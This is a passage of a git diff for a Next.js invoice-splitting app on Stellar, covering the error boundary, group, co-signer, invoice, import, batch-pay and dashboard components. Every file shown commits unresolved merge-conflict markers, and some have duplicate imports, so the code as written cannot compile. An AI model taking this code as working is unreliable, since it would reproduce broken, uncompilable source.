upstream/main interface Props { error: Error & { digest?: string }; @@ -11,14 +15,20 @@ interface Props { } export default function GlobalError({ error, reset }: Props) { +<<<<<<< HEAD +======= const pathname = usePathname(); +>>>>>>> upstream/main useEffect(() => { console.error("[GlobalError]", { message: error.message, digest: error.digest, stack: error.stack, }); +<<<<<<< HEAD + }, [error]); +======= Sentry.withScope((scope) => { scope.setTag("error_boundary", "app/error"); @@ -29,6 +39,7 @@ export default function GlobalError({ error, reset }: Props) { Sentry.captureException(error); }); }, [error, pathname]); +>>>>>>> upstream/main return (
diff --git a/src/app/global-error.tsx b/src/app/global-error.tsx index 9dffcb92..38f86cb9 100644 --- a/src/app/global-error.tsx +++ b/src/app/global-error.tsx @@ -3,12 +3,15 @@ import * as Sentry from "@sentry/nextjs"; import { useEffect } from "react"; +<<<<<<< HEAD +======= import { classifyError, getErrorTemplate, logError, } from "@/lib/errors"; +>>>>>>> upstream/main export default function GlobalError({ error, reset, @@ -16,6 +19,11 @@ export default function GlobalError({ error: Error & { digest?: string }; reset: () => void; }) { +<<<<<<< HEAD + useEffect(() => { + Sentry.captureException(error); + }, [error]); +======= const errorType = classifyError(error); const template = getErrorTemplate(errorType); @@ -27,6 +35,7 @@ export default function GlobalError({ digest: error.digest, }); }, [error, errorType]); +>>>>>>> upstream/main return ( @@ -39,6 +48,15 @@ export default function GlobalError({ color: "#fff", fontFamily: "system-ui, sans-serif", }}> +<<<<<<< HEAD +
+

+ Something went wrong +

+

+ An unexpected error occurred. Our team has been notified. +

+=======

{template.title} @@ -64,6 +82,7 @@ export default function GlobalError({ ))} )} +>>>>>>> upstream/main +======= {template.recoveryLabel} {error.digest && ( @@ -83,9 +106,14 @@ export default function GlobalError({ Reference: {error.digest}

)} +>>>>>>> upstream/main

); -} \ No newline at end of file +<<<<<<< HEAD +} +======= +} +>>>>>>> upstream/main diff --git a/src/app/groups/[id]/page.tsx b/src/app/groups/[id]/page.tsx index de87be6a..4f2b5a4c 100644 --- a/src/app/groups/[id]/page.tsx +++ b/src/app/groups/[id]/page.tsx @@ -1,5 +1,25 @@ "use client"; +<<<<<<< HEAD +import { useEffect, useState } from "react"; +import Link from "next/link"; +import { useParams, useRouter } from "next/navigation"; +import { truncateAddress } from "@stellar-split/sdk"; + +interface ContactGroup { + id: string; + name: string; + members: string[]; + lastActive: number; +} + +function loadGroups(): ContactGroup[] { + try { + return JSON.parse(localStorage.getItem("contactGroups") || "[]"); + } catch (e) { + return []; + } +======= import { useEffect, useState, useCallback } from "react"; import Link from "next/link"; import { useParams } from "next/navigation"; @@ -17,6 +37,7 @@ interface MemberRow { contributed: bigint; pct: number; paid: boolean; +>>>>>>> upstream/main } export default function GroupDetailPage() { @@ -24,6 +45,21 @@ export default function GroupDetailPage() { const router = useRouter(); const groupId = params.id as string; +<<<<<<< HEAD + const [group, setGroup] = useState(null); + const [loading, setLoading] = useState(true); + + useEffect(() => { + const g = loadGroups().find((x) => x.id === groupId) || null; + setGroup(g); + setLoading(false); + }, [groupId]); + + if (loading) { + return ( +
+
+======= const [publicKey, setPublicKey] = useState(null); const [walletError, setWalletError] = useState(false); const [memberRows, setMemberRows] = useState([]); @@ -134,10 +170,14 @@ export default function GroupDetailPage() {
{[1, 2, 3].map((i) => )}
+>>>>>>> upstream/main
); } +<<<<<<< HEAD + if (!group) { +======= // ── Error ────────────────────────────────────────────────────────────────── if (error) { return ( @@ -152,24 +192,80 @@ export default function GroupDetailPage() { // ── Empty ────────────────────────────────────────────────────────────────── if (memberRows.length === 0) { +>>>>>>> upstream/main return (
← Back to groups
+<<<<<<< HEAD +

Group not found.

+ Back to groups +=======

This group has no invoices yet.

Create Invoice +>>>>>>> upstream/main
); } +<<<<<<< HEAD + const handleCreateInvoice = () => { + const recipients = group.members.map((a) => ({ address: a, amount: "" })); + const template = { recipients, deadlineDays: 7, token: process.env.NEXT_PUBLIC_USDC_ADDRESS ?? "" }; + try { + sessionStorage.setItem("invoiceTemplate", JSON.stringify(template)); + } catch (e) { + console.error("Failed to set invoice template", e); + } + router.push("/invoice/new"); + }; + +======= // ── Main ─────────────────────────────────────────────────────────────────── +>>>>>>> upstream/main return (
← Back to groups +<<<<<<< HEAD +
+
+
+

{group.name}

+

{group.members.length} member{group.members.length !== 1 ? "s" : ""}

+
+
+
Last active
+
{new Date(group.lastActive).toLocaleString()}
+
+
+
+ +
+
+

Members

+
+ +
+
+ + {group.members.length === 0 ? ( +

No members in this group.

+ ) : ( +
+ {group.members.map((m) => ( +
+
{m}
+
{truncateAddress(m)}
+
+ ))} +
+ )} +
+======= {/* Read-only notice */} {walletError && (
@@ -332,6 +428,7 @@ export default function GroupDetailPage() { }} /> )} +>>>>>>> upstream/main
); } diff --git a/src/app/invoice/[id]/cosigners/page.tsx b/src/app/invoice/[id]/cosigners/page.tsx index 62d66700..4c31d87d 100644 --- a/src/app/invoice/[id]/cosigners/page.tsx +++ b/src/app/invoice/[id]/cosigners/page.tsx @@ -1,14 +1,22 @@ "use client"; +<<<<<<< HEAD +import React, { useState, useEffect, useCallback } from "react"; +import { useParams, useRouter } from "next/navigation"; +======= import React, { useState, useEffect, useCallback, useRef } from "react"; import { useParams } from "next/navigation"; +>>>>>>> upstream/main import Link from "next/link"; import { QRCodeCanvas } from "qrcode.react"; import { useInvoiceStream } from "@/hooks/useInvoiceStream"; import type { CoSigner, SplitMeta } from "@/hooks/useSplitCalculator"; +<<<<<<< HEAD +======= import { fetchInvoice } from "@/lib/api/invoices"; import CoSignerStatus from "@/components/invoice/CoSignerStatus"; import CopyLinkButton from "@/components/invoice/CopyLinkButton"; +>>>>>>> upstream/main function truncateAddress(addr: string, chars = 6): string { if (!addr || addr.length <= chars * 2) return addr; @@ -17,7 +25,12 @@ function truncateAddress(addr: string, chars = 6): string { export default function CoSignersPage() { const { id } = useParams<{ id: string }>(); +<<<<<<< HEAD + const router = useRouter(); + const { invoice, isConnected: streamConnected } = useInvoiceStream(id); +======= const { invoice, latestEvent, isConnected: streamConnected } = useInvoiceStream(id); +>>>>>>> upstream/main const [connectedAddress, setConnectedAddress] = useState(null); const [splitMeta, setSplitMeta] = useState(null); @@ -25,18 +38,31 @@ export default function CoSignersPage() { const [threshold, setThreshold] = useState(1); const [loading, setLoading] = useState(true); const [approving, setApproving] = useState(false); +<<<<<<< HEAD + const [approveSuccess, setApproveSuccess] = useState(false); + const [error, setError] = useState(null); + const [showQRModal, setShowQRModal] = useState(false); + const [copied, setCopied] = useState(false); +======= const [error, setError] = useState(null); const [loadError, setLoadError] = useState(null); const [showQRModal, setShowQRModal] = useState(false); const lastEventRef = useRef(null); +>>>>>>> upstream/main // Fetch connected wallet useEffect(() => { async function checkWallet() { try { +<<<<<<< HEAD + const { getPublicKey } = await import("@stellar/freighter-api"); + const key = await getPublicKey(); + if (key) setConnectedAddress(key); +======= const { getAddress } = await import("@stellar/freighter-api"); const result = await getAddress(); if (result.address && !result.error) setConnectedAddress(result.address); +>>>>>>> upstream/main } catch { // wallet not connected or freighter not installed } @@ -44,6 +70,24 @@ export default function CoSignersPage() { checkWallet(); }, []); +<<<<<<< HEAD + // Fetch splitMeta and cosigners + const loadData = useCallback(async () => { + try { + const res = await fetch(`/api/invoices/${id}`); + if (res.ok) { + const data = await res.json(); + if (data.splitMeta) { + setSplitMeta(data.splitMeta); + if (data.splitMeta.cosigners && data.splitMeta.cosigners.length > 0) { + setCosigners(data.splitMeta.cosigners); + setThreshold(data.splitMeta.cosignerThreshold || 1); + } + } + } + } catch (e) { + console.error("Error loading cosigners:", e); +======= // Fetch splitMeta and cosigners via API helper const loadData = useCallback(async () => { try { @@ -61,6 +105,7 @@ export default function CoSignersPage() { } catch (e) { console.error("Error loading cosigners:", e); setLoadError(e instanceof Error ? e.message : "Failed to load co-signers"); +>>>>>>> upstream/main } finally { setLoading(false); } @@ -70,6 +115,15 @@ export default function CoSignersPage() { loadData(); }, [loadData]); +<<<<<<< HEAD + // Connect wallet helper + const handleConnectWallet = async () => { + try { + const { setAllowed, getPublicKey } = await import("@stellar/freighter-api"); + await setAllowed(); + const key = await getPublicKey(); + if (key) setConnectedAddress(key); +======= // Real-time refresh on stream events / invoice changes useEffect(() => { if (!latestEvent || latestEvent === lastEventRef.current) return; @@ -88,6 +142,7 @@ export default function CoSignersPage() { await setAllowed(); const result = await getAddress(); if (result.address && !result.error) setConnectedAddress(result.address); +>>>>>>> upstream/main } catch (e) { setError("Failed to connect Freighter wallet"); } @@ -104,6 +159,11 @@ export default function CoSignersPage() { setError(null); try { +<<<<<<< HEAD + // Sign a message or approval transaction with Freighter + const { signAuthEntry } = await import("@stellar/freighter-api").catch(() => ({} as any)); + // In case signAuthEntry is available or signTransaction +======= // Sign the approval payload with Freighter const freighter = await import("@stellar/freighter-api"); const message = `Approve invoice ${id} as co-signer ${connectedAddress}`; @@ -116,6 +176,7 @@ export default function CoSignersPage() { typeof signed?.error === "string" ? signed.error : "Signature was rejected" ); } +>>>>>>> upstream/main const timestamp = new Date().toISOString(); const updated = cosigners.map((c) => @@ -152,7 +213,11 @@ export default function CoSignersPage() { } } +<<<<<<< HEAD + setApproveSuccess(true); +======= await loadData(); +>>>>>>> upstream/main } catch (err) { setError(err instanceof Error ? err.message : "Failed to record approval"); } finally { @@ -162,6 +227,17 @@ export default function CoSignersPage() { const shareUrl = typeof window !== "undefined" ? window.location.href : ""; +<<<<<<< HEAD + const handleCopyLink = () => { + if (navigator.clipboard) { + navigator.clipboard.writeText(shareUrl); + setCopied(true); + setTimeout(() => setCopied(false), 2500); + } + }; + +======= +>>>>>>> upstream/main const approvedCount = cosigners.filter((c) => c.approved).length; const isThresholdMet = cosigners.length > 0 && approvedCount >= threshold; const isCosigner = Boolean(connectedAddress && cosigners.some((c) => c.address === connectedAddress)); @@ -196,8 +272,20 @@ export default function CoSignersPage() { {/* Share buttons */} +<<<<<<< HEAD +
+ +=======
+>>>>>>> upstream/main
{/* Co-Signers List */} +<<<<<<< HEAD +
+=======
+>>>>>>> upstream/main

Designated Co-Signers ({cosigners.length})

+<<<<<<< HEAD + {cosigners.length === 0 ? ( +======= {loading ? (
@@ -274,15 +369,60 @@ export default function CoSignersPage() {
) : cosigners.length === 0 ? ( +>>>>>>> upstream/main

No co-signers were specified for this invoice.

) : ( +<<<<<<< HEAD +
+ {cosigners.map((signer, index) => { + const isYou = connectedAddress === signer.address; + return ( +
+
+
+ + {signer.address} + + {isYou && ( + + YOU + + )} +
+ {signer.approvedAt && ( +

+ Approved on {new Date(signer.approvedAt).toLocaleString()} +

+ )} +
+ +
+ {signer.approved ? ( + + ✓ Approved + + ) : ( + + ⏳ Pending + + )} +
+
+ ); + })} +
+======= +>>>>>>> upstream/main )}
@@ -373,11 +513,21 @@ export default function CoSignersPage() {

+<<<<<<< HEAD + +======= +>>>>>>> upstream/main
+ + +<<<<<<< HEAD + {canAct && invoice && ( + + )} + + {/* Payments Section */} + + {/* Top Contributors Leaderboard */} + + +
+

+ Payments ({invoice.payments.length}) +

+ {invoice.payments.length === 0 ? ( +

+ No payments yet. Be the first to pay! +

+ ) : ( +
+ + + + + + + + + {invoice.payments.map((p, i) => ( + + + + + ))} + +
PayerAmount
+ {truncateAddress(p.payer)} + + +
+
+ )} +
+
+ + {invoice.status === "Pending" && isRecipient && ( +
+ {publicKey && ( +
+

Pay with Freighter

+ {recipientShare && ( + + )} + setPayAmount(e.target.value)} + onFocus={() => setFocusedField("pay-amount-freighter")} + onBlur={() => { + if (focusedField === "pay-amount-freighter") { + emitFieldBlur(); + } + }} + required + aria-label="Amount in USDC" + className="bg-gray-800 border border-gray-700 rounded-lg px-4 py-2 text-sm focus:outline-none focus:ring-2 focus:ring-indigo-500" + /> + + {error &&

{error}

} + {txHash && ( +

+ Payment sent! Tx: {txHash.slice(0, 12)}… +

+ )} + + + )} + + {/* ── Divider ───────────────────────────────────────────────── */} +
+
+ or +
+
+ + {/* ── Option 2: Pay from Another Chain ──────────────────────── */} + +
+ )} +======= {/* Payments */}

@@ -904,6 +1035,7 @@ export default function InvoiceDetailPage({ params }: Props) {

)} +>>>>>>> upstream/main {/* Recipients Section */} )} +<<<<<<< HEAD +======= {/* Invoice insights: status timeline, sentiment, payer health, reconciliation */}
@@ -1159,6 +1293,7 @@ export default function InvoiceDetailPage({ params }: Props) {
+>>>>>>> upstream/main {/* Activity Timeline */}
@@ -1229,7 +1364,11 @@ export default function InvoiceDetailPage({ params }: Props) { {showCancelModal && ( >>>>>> upstream/main payments={invoice.payments} onConfirm={async () => { await (splitClient as any).cancelInvoice(id); diff --git a/src/app/invoice/compare/page.tsx b/src/app/invoice/compare/page.tsx index 0620566f..bc69215f 100644 --- a/src/app/invoice/compare/page.tsx +++ b/src/app/invoice/compare/page.tsx @@ -12,12 +12,19 @@ function CompareInvoicesContent() { const router = useRouter(); const [invoiceA, setInvoiceA] = useState(null); const [invoiceB, setInvoiceB] = useState(null); +<<<<<<< HEAD +======= const [batchInvoices, setBatchInvoices] = useState([]); +>>>>>>> upstream/main const [loading, setLoading] = useState(true); const [error, setError] = useState(null); const idA = searchParams.get("a"); const idB = searchParams.get("b"); +<<<<<<< HEAD + + useEffect(() => { +======= const batchIds = searchParams.get("ids"); useEffect(() => { @@ -48,6 +55,7 @@ function CompareInvoicesContent() { } setBatchInvoices([]); +>>>>>>> upstream/main if (!idA || !idB) { setError("Missing invoice IDs. Use /compare?a=[id]&b=[id]"); setLoading(false); @@ -71,7 +79,11 @@ function CompareInvoicesContent() { }; fetchInvoices(); +<<<<<<< HEAD + }, [idA, idB]); +======= }, [idA, idB, batchIds]); +>>>>>>> upstream/main if (loading) { return ( @@ -105,6 +117,20 @@ function CompareInvoicesContent() { router.push(`/invoice/${invoiceA!.id}`); }; +<<<<<<< HEAD + const handlePayB = () => { + router.push(`/invoice/${invoiceB!.id}`); + }; + + return ( +
+ +======= const comparisons = batchInvoices.length > 2 ? batchInvoices.slice(1).map((invoice) => [batchInvoices[0], invoice] as const) : [[invoiceA, invoiceB] as const]; @@ -125,6 +151,7 @@ function CompareInvoicesContent() { onPayB={() => router.push(`/invoice/${invoice.id}`)} /> ))} +>>>>>>> upstream/main
); } diff --git a/src/app/invoice/import/page.tsx b/src/app/invoice/import/page.tsx index c7c2bb9d..4898c949 100644 --- a/src/app/invoice/import/page.tsx +++ b/src/app/invoice/import/page.tsx @@ -9,6 +9,8 @@ import { type ValidationResult, validateRows, } from "@/lib/bulkImporter"; +<<<<<<< HEAD +======= import { getInvoiceOcrAnalytics, recognizeInvoiceFields, @@ -16,6 +18,7 @@ import { type InvoiceOcrField, type InvoiceOcrFields, } from "@/lib/invoiceOcr"; +>>>>>>> upstream/main // --------------------------------------------------------------------------- // Types @@ -101,6 +104,8 @@ export default function ImportInvoicesPage() { const [loading, setLoading] = useState(false); const [error, setError] = useState(null); const [success, setSuccess] = useState(null); +<<<<<<< HEAD +======= const [ocrFields, setOcrFields] = useState(null); const [ocrConfidence, setOcrConfidence] = useState | null>(null); const [ocrText, setOcrText] = useState(null); @@ -141,6 +146,7 @@ export default function ImportInvoicesPage() { URL.revokeObjectURL(imageUrl); } }, []); +>>>>>>> upstream/main // ── File upload ──────────────────────────────────────────────────────────── @@ -153,6 +159,8 @@ export default function ImportInvoicesPage() { setError(null); setSuccess(null); setExcluded(new Set()); +<<<<<<< HEAD +======= setOcrFields(null); setOcrConfidence(null); setOcrText(null); @@ -161,6 +169,7 @@ export default function ImportInvoicesPage() { void handleImageFile(f); return; } +>>>>>>> upstream/main const reader = new FileReader(); reader.onload = (event) => { @@ -184,6 +193,11 @@ export default function ImportInvoicesPage() { }; reader.readAsText(f); }, +<<<<<<< HEAD + [] + ); + +======= [handleImageFile] ); @@ -195,6 +209,7 @@ export default function ImportInvoicesPage() { }); }, []); +>>>>>>> upstream/main // ── Checkbox toggle ──────────────────────────────────────────────────────── const toggleExclude = useCallback((idx: number) => { @@ -245,17 +260,23 @@ export default function ImportInvoicesPage() { } setSuccess(invoiceIds); +<<<<<<< HEAD +======= if (ocrFields && includableRows[0]) { recordInvoiceOcrReview(ocrFields, includableRows[0]); setOcrAnalytics(getInvoiceOcrAnalytics()); } +>>>>>>> upstream/main setParsed([]); setResults([]); setExcluded(new Set()); setFile(null); +<<<<<<< HEAD +======= setOcrFields(null); setOcrConfidence(null); setOcrText(null); +>>>>>>> upstream/main } catch (err) { setError( err instanceof Error ? err.message : "Failed to create invoices" @@ -280,17 +301,32 @@ export default function ImportInvoicesPage() {

Import Invoices

+<<<<<<< HEAD + Upload a CSV file to bulk-create invoices. Review and fix (or exclude) + any invalid rows before importing. +======= Upload a CSV to bulk-create invoices or an image to extract invoice fields. Review and correct values before importing. +>>>>>>> upstream/main

{/* ── Upload card ── */}
+======= accept=".csv,image/png,image/jpeg,image/webp" onChange={handleFileChange} className="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 file:rounded-lg file:border-0 file:text-sm file:font-semibold file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100" @@ -299,6 +335,7 @@ export default function ImportInvoicesPage() {

OCR analytics: {ocrAnalytics.extractions} reviewed, {ocrAnalytics.reviewedFields - ocrAnalytics.correctedFields} unchanged of {ocrAnalytics.reviewedFields} fields.

+>>>>>>> upstream/main

Expected columns:{" "} recipient_address @@ -359,8 +396,11 @@ export default function ImportInvoicesPage() {

+<<<<<<< HEAD +======= {ocrConfidence &&

Estimated OCR confidence: recipient {ocrConfidence.recipient_address}%, amount {ocrConfidence.amount}%, deadline {ocrConfidence.deadline_days}%, token {ocrConfidence.token}%.

} {ocrText &&
Show recognized text
{ocrText}
} +>>>>>>> upstream/main @@ -409,10 +449,46 @@ export default function ImportInvoicesPage() { {/* Data cells */} +<<<<<<< HEAD + + + + +======= +>>>>>>> upstream/main {/* Status */} +<<<<<<< HEAD +======= +>>>>>>> upstream/main @@ -149,6 +159,8 @@ export default function AuditLogTable({ invoiceId, invoice }: Props) { {paginatedEntries.map((entry, idx) => ( +<<<<<<< HEAD +======= @@ -170,6 +182,7 @@ export default function AuditLogTable({ invoiceId, invoice }: Props) { ? "—" : null} +>>>>>>> upstream/main diff --git a/src/components/BatchPayModal.tsx b/src/components/BatchPayModal.tsx index 67682c96..ea261fdd 100644 --- a/src/components/BatchPayModal.tsx +++ b/src/components/BatchPayModal.tsx @@ -1,26 +1,40 @@ "use client"; +<<<<<<< HEAD +import { useState } from "react"; +======= import { useMemo, useState } from "react"; +>>>>>>> upstream/main import FocusTrap from "./FocusTrap"; import { splitClient, payWithNonce } from "@/lib/stellar"; import { parseAmount } from "@stellar-split/sdk"; import type { Invoice } from "@stellar-split/sdk"; +<<<<<<< HEAD +======= import type { InvoiceBundle } from "@/lib/bundles"; import { PaymentAggregator } from "@/lib/paymentAggregator"; +>>>>>>> upstream/main interface Props { invoices: Invoice[]; publicKey: string; onClose: () => void; +<<<<<<< HEAD +======= /** When provided, the modal operates in bundle mode. */ bundle?: InvoiceBundle; /** Called after a bundle's unified payment completes successfully. */ onBundleComplete?: (bundleId: string, txHash: string) => void; +>>>>>>> upstream/main } /** * BatchPayModal — shows an amount input per selected invoice and calls * splitClient.batchPay() with all (invoiceId, amount) pairs on confirm. +<<<<<<< HEAD + */ +export default function BatchPayModal({ invoices, publicKey, onClose }: Props) { +======= * * When a `bundle` is supplied the modal switches to bundle mode: it renders a * summary/preview of every bundled item with totals, collects a single unified @@ -35,6 +49,7 @@ export default function BatchPayModal({ onBundleComplete, }: Props) { const isBundleMode = Boolean(bundle); +>>>>>>> upstream/main const [amounts, setAmounts] = useState>( Object.fromEntries(invoices.map((inv) => [inv.id, ""])) ); @@ -42,6 +57,9 @@ export default function BatchPayModal({ const [txHash, setTxHash] = useState(null); const [error, setError] = useState(null); +<<<<<<< HEAD + const handleConfirm = async () => { +======= const bundleTotals = useMemo(() => { if (!bundle) return null; const items = bundle.items ?? []; @@ -71,6 +89,7 @@ export default function BatchPayModal({ await handleBundleConfirm(); return; } +>>>>>>> upstream/main setError(null); setPaying(true); try { @@ -110,7 +129,11 @@ export default function BatchPayModal({

+<<<<<<< HEAD + Batch Pay +======= {isBundleMode ? "Pay Bundle" : "Batch Pay"} +>>>>>>> upstream/main

+<<<<<<< HEAD +

+ Enter the amount you want to pay toward each invoice. +

+ +
    + {invoices.map((inv) => ( +
  • + + Invoice #{inv.id} + + + + setAmounts((prev) => ({ ...prev, [inv.id]: e.target.value })) + } + className="flex-1 min-h-11 bg-gray-800 border border-gray-700 rounded-lg px-3 py-2 text-sm focus:outline-none focus-visible:ring-2 focus-visible:ring-indigo-500 min-w-0" + /> +
  • + ))} +
+======= {isBundleMode && bundleTotals ? (

@@ -179,14 +232,19 @@ export default function BatchPayModal({ )} +>>>>>>> upstream/main {error &&

{error}

} {txHash ? (

+<<<<<<< HEAD + Batch payment sent! Tx: {txHash.slice(0, 16)}… +======= {isBundleMode ? "Bundle payment sent!" : "Batch payment sent!"} Tx:{" "} {txHash.slice(0, 16)}… +>>>>>>> upstream/main

)} diff --git a/src/components/BatchPayQueue.tsx b/src/components/BatchPayQueue.tsx index 76c51f09..3647c06a 100644 --- a/src/components/BatchPayQueue.tsx +++ b/src/components/BatchPayQueue.tsx @@ -9,13 +9,21 @@ interface QueueEntry { amount: string; } +<<<<<<< HEAD +======= type BundleItemStatus = "pending" | "paid" | "failed"; +>>>>>>> upstream/main interface Props { queue: QueueEntry[]; onAmountChange: (invoiceId: string, value: string) => void; onRemove: (invoiceId: string) => void; onReorder?: (newQueue: QueueEntry[]) => void; +<<<<<<< HEAD +} + +export default function BatchPayQueue({ queue, onAmountChange, onRemove, onReorder }: Props) { +======= bundleId?: string; bundleStatus?: "draft" | "collecting" | "completed" | "partial" | "failed"; itemStatuses?: Record; @@ -44,6 +52,7 @@ export default function BatchPayQueue({ bundleStatus, itemStatuses, }: Props) { +>>>>>>> upstream/main const [draggedIndex, setDraggedIndex] = useState(null); const runningTotal = queue.reduce((sum, entry) => { @@ -51,12 +60,15 @@ export default function BatchPayQueue({ return sum + (isNaN(parsed) ? 0 : parsed); }, 0); +<<<<<<< HEAD +======= const completedCount = itemStatuses ? queue.filter((entry) => itemStatuses[entry.invoice.id] === "paid").length : 0; const completionPercent = queue.length > 0 ? Math.round((completedCount / queue.length) * 100) : 0; const isBundle = Boolean(bundleId); +>>>>>>> upstream/main const handleDrop = (targetIndex: number) => { if (draggedIndex === null || draggedIndex === targetIndex) return; const newQueue = [...queue]; @@ -90,6 +102,10 @@ export default function BatchPayQueue({ return (
+<<<<<<< HEAD + {queue.map(({ invoice, amount }, index) => { + const total = invoice.recipients.reduce((s, r) => s + r.amount, 0n); +======= {isBundle && (
@@ -128,6 +144,7 @@ export default function BatchPayQueue({ {queue.map(({ invoice, amount }, index) => { const total = invoice.recipients.reduce((s, r) => s + r.amount, 0n); const itemStatus = itemStatuses?.[invoice.id]; +>>>>>>> upstream/main return (
⋮⋮
+<<<<<<< HEAD +

Invoice #{invoice.id}

+=======

Invoice #{invoice.id}

{itemStatus && ( @@ -154,6 +174,7 @@ export default function BatchPayQueue({ )}
+>>>>>>> upstream/main

Total: {formatAmount(total)} USDC · Status: {invoice.status}

@@ -186,9 +207,13 @@ export default function BatchPayQueue({ })}
+<<<<<<< HEAD + Running total +======= {isBundle ? "Bundle total" : "Running total"} +>>>>>>> upstream/main {runningTotal.toFixed(7).replace(/\.?0+$/, "")} USDC diff --git a/src/components/Breadcrumb.tsx b/src/components/Breadcrumb.tsx index 178fd0a3..b179e1bf 100644 --- a/src/components/Breadcrumb.tsx +++ b/src/components/Breadcrumb.tsx @@ -7,6 +7,9 @@ export interface BreadcrumbItem { } interface Props { +<<<<<<< HEAD + items: BreadcrumbItem[]; +======= items?: BreadcrumbItem[]; } @@ -48,6 +51,7 @@ export function buildBreadcrumbTrail( }); return trail; +>>>>>>> upstream/main } export default function Breadcrumb({ items }: Props) { @@ -56,6 +60,38 @@ export default function Breadcrumb({ items }: Props) { if (isHome) return null; +<<<<<<< HEAD + // Mobile: show only last 2 items + const displayItems = items.length > 2 ? items.slice(-2) : items; + const showEllipsis = items.length > 2; + + return ( +
); } +>>>>>>> upstream/main diff --git a/src/components/DashboardClient.tsx b/src/components/DashboardClient.tsx index 54be9b6c..00033585 100644 --- a/src/components/DashboardClient.tsx +++ b/src/components/DashboardClient.tsx @@ -2,9 +2,13 @@ import { useState, useEffect, useMemo, useCallback } from "react"; import Link from "next/link"; +<<<<<<< HEAD +import { useRouter, usePathname, useSearchParams } from "next/navigation"; +======= import { useRouter, useSearchParams } from "next/navigation"; import { useRouter } from "next/navigation"; import { splitClient } from "@/lib/stellar"; +>>>>>>> upstream/main import { getFreighterPublicKey } from "@/lib/freighter"; import { splitClient } from "@/lib/stellar"; import InvoiceSearch from "@/components/InvoiceSearch"; @@ -22,7 +26,10 @@ import { formatAmount } from "@stellar-split/sdk"; import type { Invoice } from "@stellar-split/sdk"; import { useInfiniteInvoices } from "@/hooks/useInfiniteInvoices"; import InvoiceListSentinel from "@/components/InvoiceListSentinel"; +<<<<<<< HEAD +======= import ScrollToTopButton from "@/components/ScrollToTopButton"; +>>>>>>> upstream/main import { useInvoiceSelection } from "@/hooks/useInvoiceSelection"; import BulkActionToolbar from "@/components/invoice/BulkActionToolbar"; import { @@ -30,16 +37,28 @@ import { SORT_OPTIONS, filterDashboardInvoices, getDashboardPresetCounts, +<<<<<<< HEAD + matchesStatusFilter, + INVOICE_STATUS_FILTERS, sortInvoices, filterByDateRange, type DashboardPresetId, + type InvoiceStatusFilter, +======= + sortInvoices, + filterByDateRange, + type DashboardPresetId, +>>>>>>> upstream/main type DashboardSortId, } from "@/lib/dashboardFilters"; import { useInvoiceTags } from "@/hooks/useInvoiceTags"; import { invoiceHasTag } from "@/lib/invoiceTags"; import InvoiceTable from "@/components/InvoiceTable"; import FilterPresetDropdown from "@/components/invoices/FilterPresetDropdown"; +<<<<<<< HEAD +======= import AdvancedSortSelect from "@/components/invoices/AdvancedSortSelect"; +>>>>>>> upstream/main import { apiFetch } from "@/lib/apiClient"; // ── URL helpers ────────────────────────────────────────────────────────────── @@ -55,6 +74,15 @@ function readParams(sp: URLSearchParams) { // ── Component ───────────────────────────────────────────────────────────────── +<<<<<<< HEAD +export default function DashboardClient() { + const router = useRouter(); + const pathname = usePathname(); + const searchParams = useSearchParams(); + + // URL-derived filter state + const { presetFilters, sort, dateFrom, dateTo, tag } = useMemo( +======= // ── URL helpers ────────────────────────────────────────────────────────────── function readParams(sp: URLSearchParams) { @@ -73,10 +101,24 @@ export default function DashboardClient() { // URL-derived filter state const { statuses, sort, dateFrom, dateTo } = useMemo( +>>>>>>> upstream/main () => readParams(searchParams), [searchParams], ); +<<<<<<< HEAD + const selectedStatuses = useMemo(() => { + const raw = searchParams.get("status"); + if (!raw) return []; + return raw + .split(",") + .filter((s): s is InvoiceStatusFilter => INVOICE_STATUS_FILTERS.includes(s as InvoiceStatusFilter)); + }, [searchParams]); + + const { allTags, tagsByInvoice } = useInvoiceTags(); + +======= +>>>>>>> upstream/main const [publicKey, setPublicKey] = useState(null); const [walletError, setWalletError] = useState(null); const [searchValue, setSearchValue] = useState(""); @@ -92,6 +134,16 @@ export default function DashboardClient() { const [bulkReminderResults, setBulkReminderResults] = useState(null); // Mobile filter drawer const [drawerOpen, setDrawerOpen] = useState(false); +<<<<<<< HEAD + // Activity feed panel + const [feedOpen, setFeedOpen] = useState(false); + const { unreadCount } = useActivityFeed(); + const [splitMetaMap, setSplitMetaMap] = useState< + Record + >({}); + // Compare mode + const [shareQRInvoiceId, setShareQRInvoiceId] = useState(null); +======= // ── URL mutation helpers ──────────────────────────────────────────────────── @@ -124,6 +176,7 @@ export default function DashboardClient() { // ── Data fetching ─────────────────────────────────────────────────────────── const [activePreset, setActivePreset] = useState("all"); +>>>>>>> upstream/main const [compareMode, setCompareMode] = useState(false); const [compareSelected, setCompareSelected] = useState>(new Set()); const [activePreset, setActivePreset] = useState("all"); @@ -271,10 +324,18 @@ export default function DashboardClient() { // ── Data fetching ─────────────────────────────────────────────────────────── +<<<<<<< HEAD + // Get wallet public key + useEffect(() => { + getFreighterPublicKey() + .then(setPublicKey) + .catch(() => setWalletError("Connect your Freighter wallet to view your dashboard.")); +======= useEffect(() => { getFreighterPublicKey() .then(setPublicKey) .catch(() => setError("Connect your Freighter wallet to view your dashboard.")); +>>>>>>> upstream/main }, []); // Infinite-scroll invoice list @@ -303,6 +364,24 @@ export default function DashboardClient() { // Fetch splitMeta for overdue detection useEffect(() => { +<<<<<<< HEAD + if (!publicKey || invoices.length === 0) return; + let cancelled = false; + (async () => { + const map: Record = {}; + await Promise.all( + invoices.map(async (inv) => { + try { + const res = await fetch(`/api/invoices/${inv.id}`); + if (res.ok) { + const json = await res.json(); + if (json.splitMeta?.installments) { + map[inv.id] = json.splitMeta; + } + } + } catch { + // ignore +======= if (!publicKey) return; const fetchInvoices = async () => { setLoading(true); @@ -316,6 +395,7 @@ export default function DashboardClient() { if (mine) { results.push(inv); setInvoices([...results]); +>>>>>>> upstream/main } }) ); @@ -324,10 +404,16 @@ export default function DashboardClient() { return () => { cancelled = true; }; +<<<<<<< HEAD + }, [publicKey, invoices]); + + // ── Numeric search debounce ───────────────────────────────────────────────── +======= fetchInvoices().catch((e) => { setError(String(e)); setLoading(false); }); }, [publicKey]); // Numeric search debounce +>>>>>>> upstream/main useEffect(() => { const trimmed = searchValue.trim(); if (!trimmed || !/^\d+$/.test(trimmed)) { @@ -347,11 +433,54 @@ export default function DashboardClient() { if (!cancelled) setSearchLoading(false); } }, 300); +<<<<<<< HEAD + return () => { + cancelled = true; + window.clearTimeout(t); + }; +======= return () => { cancelled = true; window.clearTimeout(t); }; +>>>>>>> 